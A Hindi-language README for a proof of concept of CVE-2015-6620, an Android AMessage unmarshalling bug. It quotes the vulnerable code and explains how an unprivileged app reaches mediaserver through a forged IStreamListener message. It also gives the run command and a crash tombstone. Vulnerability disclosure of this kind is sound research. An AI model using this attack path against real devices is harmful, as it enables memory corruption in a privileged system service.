
CVE-2015-6620 के लिए POC, AMessage unmarshal मनमाना लिखना
CVE-2015-6620-1 (ANDROIDID-24123723) में एक बग के लिए POC, AMessage unmarshal arbitrary write. दो बग एक CVE में मर्ज हो गए हैं, और यहाँ उनमें से एक का POC है।
##व्याख्या
533 sp<AMessage> AMessage::FromParcel(const Parcel &parcel) {
534 int32_t what = parcel.readInt32();
535 sp<AMessage> msg = new AMessage(what);
536
537 msg->mNumItems = static_cast<size_t>(parcel.readInt32()); //mNumItems को हमलावर द्वारा सेट किया जा सकता है
538 for (size_t i = 0; i < msg->mNumItems; ++i) {
539 Item *item = &msg->mItems[i];
540
541 const char *name = parcel.readCString();
542 item->setName(name, strlen(name));
543 item->mType = static_cast<Type>(parcel.readInt32());
544
545 switch (item->mType) {
547 {
548 item->u.int32Value = parcel.readInt32();//सीमा से बाहर ओवरराइट
549 break;
550 }
...
65 void AMessage::clear() {
66 for (size_t i = 0; i < mNumItems; ++i) {
67 Item *item = &mItems[i];
68 delete[] item->mName; //यदि i सीमा से बाहर चला गया तो गलत पॉइंटर मुक्त हो सकता है
69 item->mName = NULL;
70 freeItemValue(item);
71 }
72 mNumItems = 0;
73}
msg->mItems एक निश्चित आकार kMaxNumItems=64 का ऐरे है, लेकिन जब AMessage को unmarshal किया जाता है, तो लूप काउंटर को इस सीमा से कहीं अधिक सेट किया जा सकता है, जिससे मेमोरी ओवरराइट हो या मनमाना मुक्ति हो सकती है, और फिर मेमोरी दूषित हो जाती है।
फिर हमें एक बाइंडर इंटरफ़ेस खोजने की आवश्यकता है जो AMessage को unmarshal करेगा और जिसे अविशिष्ट एप्लिकेशन द्वारा कॉल किया जा सके। खोज करने पर मैंने पाया कि IStreamListener->issueCommand एक कॉलबैक है जो सामान्य क्लाइंट से लेन-देन स्वीकार करता है, फिर mediaserver पक्ष पर प्रोसेस किया जाता है। और यह इनपुट पार्सल से AMessage का निर्माण करेगा।
IStreamListener प्राप्त करने के लिए, एक तरीका BnStreamSource बनाना और MediaPlayer->setDataSource को प्रदान करना है, फिर जब MediaPlayer चलता है तो वह आपके BnStreamSource कार्यान्वयन के setListener विधि को कॉल करेगा, क्लाइंट को एक IStreamListener प्रदान करेगा और AMessage के माध्यम से नियंत्रण पैरामीटर संचारित करेगा। तो, हम अपना नकली AMessage यहाँ प्रदान करते हैं। धमाका!
##परीक्षण विधि:
POC को stream नाम से बनाएं, फिर adb shell stream ts-file-name के साथ चलाएं। मैं बाइंडर कॉलबैक को सरलता से ट्रिगर करने के लिए एक TS मीडिया फ़ाइल का उपयोग करता हूँ, लेकिन बेहतर विकल्प होने चाहिए।
##नमूना क्रैश:
F/libc (17405): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdfe85000 in tid 17511 (streaming)
I/DEBUG ( 355): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 355): Build fingerprint: 'google/shamu/shamu:5.1.1/LMY48I/2074855:user/release-keys'
I/DEBUG ( 355): Revision: '33696'
I/DEBUG ( 355): ABI: 'arm'
W/NativeCrashListener( 839): Couldn't find ProcessRecord for pid 17405
I/DEBUG ( 355): pid: 17405, tid: 17511, name: streaming >>> /system/bin/mediaserver <<<
E/DEBUG ( 355): AM write failure (32 / Broken pipe)
I/DEBUG ( 355): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdfe85000
I/DEBUG ( 355): r0 29685000 r1 d6d5d4d9 r2 b6802e74 r3 fff29685
I/DEBUG ( 355): r4 b6800000 r5 000003df r6 b6802e8c r7 c81fff19
I/DEBUG ( 355): r8 b6be24b8 r9 000003e2 sl b380bbac fp b6e65fd8
I/DEBUG ( 355): ip 0000000c sp b380bac0 lr b6e31b3d pc b6e31af6 cpsr 200f0030
I/DEBUG ( 355):
I/DEBUG ( 355): backtrace:
I/DEBUG ( 355): #00 pc 00041af6 /system/lib/libc.so (je_arena_dalloc_bin+41)
I/DEBUG ( 355): #01 pc 00041b39 /system/lib/libc.so (je_arena_dalloc_small+28)
I/DEBUG ( 355): #02 pc 000498b3 /system/lib/libc.so (ifree+462)
I/DEBUG ( 355): #03 pc 00012caf /system/lib/libc.so (free+10)
I/DEBUG ( 355): #04 pc 0000c943 /system/lib/libstagefright_foundation.so (android::AMessage::clear()+24)
I/DEBUG ( 355): #05 pc 0000c973 /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+18)
I/DEBUG ( 355): #06 pc 0000c98d /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+4)
I/DEBUG ( 355): #07 pc 0000ec55 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+40)
I/DEBUG ( 355): #08 pc 0003a679 /system/lib/libmediaplayerservice.so (android::sp<android::SharedLibrary>::~sp()+10)
I/DEBUG ( 355): #09 pc 0005bbeb /system/lib/libmediaplayerservice.so
I/DEBUG ( 355): #10 pc 0005be71 /system/lib/libmediaplayerservice.so (android::NuPlayer::NuPlayerStreamListener::read(void*, unsigned int, android::sp<android::AMessage>*)+216)
I/DEBUG ( 355): #11 pc 000580fb /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onReadBuffer()+50)
I/DEBUG ( 355): #12 pc 00058271 /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onMessageReceived(android::sp<android::AMessage> const&)+20)
I/DEBUG ( 355): #13 pc 0000c4c3 /system/lib/libstagefright_foundation.so (android::ALooperRoster::deliverMessage(android::sp<android::AMessage> const&)+166)
I/DEBUG ( 355): #14 pc 0000be45 /system/lib/libstagefright_foundation.so (android::ALooper::loop()+220)
I/DEBUG ( 355): #15 pc 000104d5 /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112)
I/DEBUG ( 355): #16 pc 00010045 /system/lib/libutils.so
I/DEBUG ( 355): #17 pc 00016baf /system/lib/libc.so (__pthread_start(void*)+30)
I/DEBUG ( 355): #18 pc 00014af3 /system/lib/libc.so (__start_thread+6)
I/DEBUG ( 355):
I/DEBUG ( 355): Tombstone written to: /data/tombstones/tombstone_04